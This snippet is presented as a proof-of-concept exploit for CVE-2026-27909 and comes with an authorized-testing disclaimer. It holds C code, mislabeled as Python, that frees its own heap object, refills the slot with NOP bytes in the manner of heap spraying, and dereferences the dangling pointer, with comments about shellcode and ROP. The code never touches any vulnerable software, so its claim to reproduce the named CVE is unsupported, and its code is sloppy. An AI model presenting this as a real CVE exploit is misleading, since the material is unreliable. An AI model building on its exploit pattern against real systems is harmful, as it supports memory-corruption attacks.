The following code is for security research and authorized testing only.
python
/*
* PoC for CVE-2026-27909 (Conceptual)
* This code demonstrates the logic flow to trigger a Use-After-Free.
* It requires a vulnerable environment to execute successfully.
*/
#include <windows.h>
#include <stdio.h>
// Hypothetical structure mimicking the vulnerable object
typedef struct _VULN_OBJECT {
DWORD callback;
LPVOID data;
} VULN_OBJECT;
void TriggerUAF() {
// Step 1: Allocate and initialize the object
VULN_OBJECT* obj = (VULN_OBJECT*)HeapAlloc(GetProcessHeap(), 0, sizeof(VULN_OBJECT));
obj->callback = (DWORD)0x41414141; // Dummy address
printf("[+] Object allocated at: %p\n", obj);
// Step 2: Free the object (Vulnerable condition: pointer not cleared)
HeapFree(GetProcessHeap(), 0, obj);
printf("[+] Object freed.\n");
// Step 3: Allocate controlled memory to occupy the freed space (Heap Spraying)
// In a real exploit, this would be shellcode or ROP gadgets
LPVOID controlled_mem = HeapAlloc(GetProcessHeap(), 0, sizeof(VULN_OBJECT));
memset(controlled_mem, 0x90, sizeof(VULN_OBJECT)); // Fill with NOPs
printf("[+] Controlled memory allocated at: %p\n", controlled_mem);
// Step 4: Trigger the Use-After-Free
// The vulnerable component tries to use 'obj' again
if (obj != NULL) {
printf("[-] Attempting to use dangling pointer...\n");
// This would crash or execute code in the real scenario
DWORD val = *(DWORD*)obj;
printf("[!] Access violation or code execution triggered.\n");
}
}
int main() {
printf("[*] Starting PoC for CVE-2026-27909\n");
TriggerUAF();
return 0;
}